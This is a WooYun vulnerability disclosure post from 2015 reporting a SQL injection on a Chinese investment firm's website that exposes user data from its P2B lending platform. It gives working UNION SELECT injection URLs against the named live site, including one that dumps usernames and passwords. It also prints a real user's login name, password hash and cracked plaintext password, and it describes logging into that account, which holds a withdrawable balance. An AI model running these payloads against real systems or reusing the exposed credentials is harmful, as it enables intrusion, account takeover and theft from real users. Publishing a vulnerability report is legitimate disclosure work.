当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108471

漏洞标题：金湧博发一处QL注入致旗下金投资p2b全部用户信息泄露可提现

相关厂商：金湧博发投资管理有限公司

漏洞作者： wps2015

提交时间：2015-04-21 18:22

修复时间：2015-06-05 18:24

公开时间：2015-06-05 18:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-21： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-05： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注入

详细说明：

吉林省金湧博发投资管理有限公司 ：http://www.jinyongbofa.com/
旗下金投资p2b网贷：http://www.p2p222.com/
注入点：

http://www.jinyongbofa.com/index.php/Industry/index/cid/1) UNION ALL SELECT NULL,NULL,user(),NULL,NULL --/p/1.html


1.png


http://www.jinyongbofa.com/index.php/Industry/index/cid/1) UNION ALL SELECT NULL,NULL,concat(user_name,' ',user_pwd),NULL,NULL FROM tp_web_user order by id  -- s


全部用户：

2.png


选一个用户登录：
sleepig2003 838c6a29b6feb8b48d43e1dfb5c17d86（zhy5806710）

3.png


总金额3000多，可以提现，包括很多交易记录

4.png


全部的用户资料

漏洞证明：

如上

修复方案：

过滤

版权声明：转载请注明来源 wps2015@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)